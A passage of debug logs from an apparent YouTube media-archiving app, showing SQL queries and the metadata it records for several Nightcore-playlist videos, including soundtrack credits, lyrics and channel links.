Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "51a3b69c-10c4-4060-b3b4-6294c5715462", false, "LpNVf8sczqU", 222, false, "https://www.youtube.com/watch?v=LpNVf8sczqU", 14, "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", false, false, 1, [], 1, ~U[2025-05-02 12:27:06Z], ~U[2026-07-24 02:22:14Z], ~U[2026-07-24 02:22:14Z], "Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "LpNVf8sczqU", 222, false, "https://www.youtube.com/watch?v=LpNVf8sczqU", "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", false, 1, ~U[2025-05-02 12:27:06Z]] 22:22:14.804 [debug] QUERY OK source="sources" db=0.2ms idle=704.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:14.804 [debug] QUERY OK source="media_profiles" db=0.1ms idle=120.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:14.804 [debug] QUERY OK source="media_items" db=0.2ms idle=120.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 22:22:14.804 [info] Kicking off download for media item #14 (LpNVf8sczqU) 22:22:14.805 [debug] Current batch of media processed. Will check again in 1000ms 22:22:15.807 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "duration" => 197, "filename" => "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", "id" => "t3Mp4jnJnfg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=t3Mp4jnJnfg", "playlist_index" => 15, "timestamp" => 1683558911, "title" => "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "upload_date" => "20230508"} 22:22:15.808 [debug] QUERY OK source="sources" db=0.4ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:15.809 [debug] QUERY OK source="sources" db=0.5ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:15.810 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-08 15:15:11Z], 1] 22:22:15.978 [debug] QUERY OK source="media_items" db=167.4ms idle=1005.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "0008abbf-cdaf-466f-a2e8-2d10ca91d354", false, "t3Mp4jnJnfg", 197, false, "https://www.youtube.com/watch?v=t3Mp4jnJnfg", 15, "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", false, false, 1, [], 1, ~U[2023-05-08 15:15:11Z], ~U[2026-07-24 02:22:15Z], ~U[2026-07-24 02:22:15Z], "finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "t3Mp4jnJnfg", 197, false, "https://www.youtube.com/watch?v=t3Mp4jnJnfg", "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", false, 1, ~U[2023-05-08 15:15:11Z]] 22:22:15.978 [debug] QUERY OK source="sources" db=0.3ms idle=876.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:15.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=170.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:15.979 [debug] QUERY OK source="media_items" db=0.1ms idle=169.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 22:22:15.979 [debug] Current batch of media processed. Will check again in 1000ms 22:22:16.979 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "duration" => 154, "filename" => "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", "id" => "q3XN_fcbTtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=q3XN_fcbTtA", "playlist_index" => 16, "timestamp" => 1217805737, "title" => "Trance - Finish Me", "upload_date" => "20080803"} 22:22:16.980 [debug] QUERY OK source="sources" db=0.3ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:16.981 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:16.981 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2008-08-03 23:22:17Z], 1] 22:22:17.286 [debug] QUERY OK source="media_items" db=305.2ms idle=1002.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "Trance - Finish Me", "26ad6d28-3dbe-4cb4-ab2a-3c2cad6ce14f", false, "q3XN_fcbTtA", 154, false, "https://www.youtube.com/watch?v=q3XN_fcbTtA", 16, "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", false, false, 1, [], 1, ~U[2008-08-03 23:22:17Z], ~U[2026-07-24 02:22:16Z], ~U[2026-07-24 02:22:16Z], "The song is 'Finish me' from newgrounds by Atomika (AtomicInc)\r\n\r\nthe link is: http://www.newgrounds.com/audio/listen/90035", "Trance - Finish Me", "q3XN_fcbTtA", 154, false, "https://www.youtube.com/watch?v=q3XN_fcbTtA", "/downloads/Nightcore/Nightcore/2008-08-03Trance - Finish Me[q3XN_fcbTtA].m4a", false, 1, ~U[2008-08-03 23:22:17Z]] 22:22:17.287 [debug] QUERY OK source="sources" db=0.2ms idle=306.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:17.287 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:17.332 [debug] QUERY OK source="media_profiles" db=44.4ms idle=306.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:17.332 [debug] QUERY OK source="media_items" db=0.2ms idle=45.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 22:22:17.332 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "duration" => 160, "filename" => "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", "id" => "KmDQuwJWs84", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KmDQuwJWs84", "playlist_index" => 17, "timestamp" => 1310337532, "title" => "Nightcore - When You Leave (Numa Numa)", "upload_date" => "20110710"} 22:22:17.333 [debug] QUERY OK source="sources" db=0.1ms idle=45.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:17.333 [debug] QUERY OK source="sources" db=0.1ms idle=45.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:17.333 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2011-07-10 22:38:52Z], 1] 22:22:17.513 [debug] QUERY OK source="media_items" db=178.9ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "Nightcore - When You Leave (Numa Numa)", "1fc71323-7324-4395-9912-2764cf5d2443", false, "KmDQuwJWs84", 160, false, "https://www.youtube.com/watch?v=KmDQuwJWs84", 17, "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", false, false, 1, [], 1, ~U[2011-07-10 22:38:52Z], ~U[2026-07-24 02:22:17Z], ~U[2026-07-24 02:22:17Z], "Time for an awesome new #NIGHTCORE track, When You Leave! As always, lyrics are shown onscreen 😉 Please leave a like, comment, and if you really enjoyed it, please subscribe! 😊\n\nMusic: Alina - When You Leave (Numa Numa) (Basshunter Radio Edit)\n\nSupport the artists:\n- iTunes: http://bit.ly/19r57Qt\n- Amazon: http://amzn.to/1byvOnO\n- Beatport: http://btprt.dj/17NhORr\n\nListen to all songs on my channel, non-stop, 24/7:\nhttps://www.youtube.com/maikel6311/live\n\nJoin #Maikel6311's Nightcore community on Discord:\nhttp://discord.gg/ppdeQgk\n\nCheck out my NIGHTCORE videos:\nhttps://www.youtube.com/watch?v=d7lbQZsOYxM&list=PL4A1B368254439740\n\nCheck out my TRANCE videos:\nhttps://www.youtube.com/watch?v=Fl2FQ7qIIsg&list=PL77D8FE68A35A932A\n\nAll my playlists can be found here:\nhttps://www.youtube.com/user/Maikel6311/playlists\n\nFollow my channel on Facebook:\nhttp://fb.me/Maikel6311\n\nCheck out my channel's Twitter feed:\nhttps://twitter.com/Maikel631\n\nWant to request a song? Shoot me a message on Soundcloud:\nhttps://soundcloud.com/Maikel631\n\nSupport my channel using Patreon:\nhttp://patreon.com/Maikel6311\n\nImage Link: http://bit.ly/18Hil8N", "Nightcore - When You Leave (Numa Numa)", "KmDQuwJWs84", 160, false, "https://www.youtube.com/watch?v=KmDQuwJWs84", "/downloads/Nightcore/Nightcore/2011-07-10Nightcore - When You Leave (Numa Numa)[KmDQuwJWs84].m4a", false, 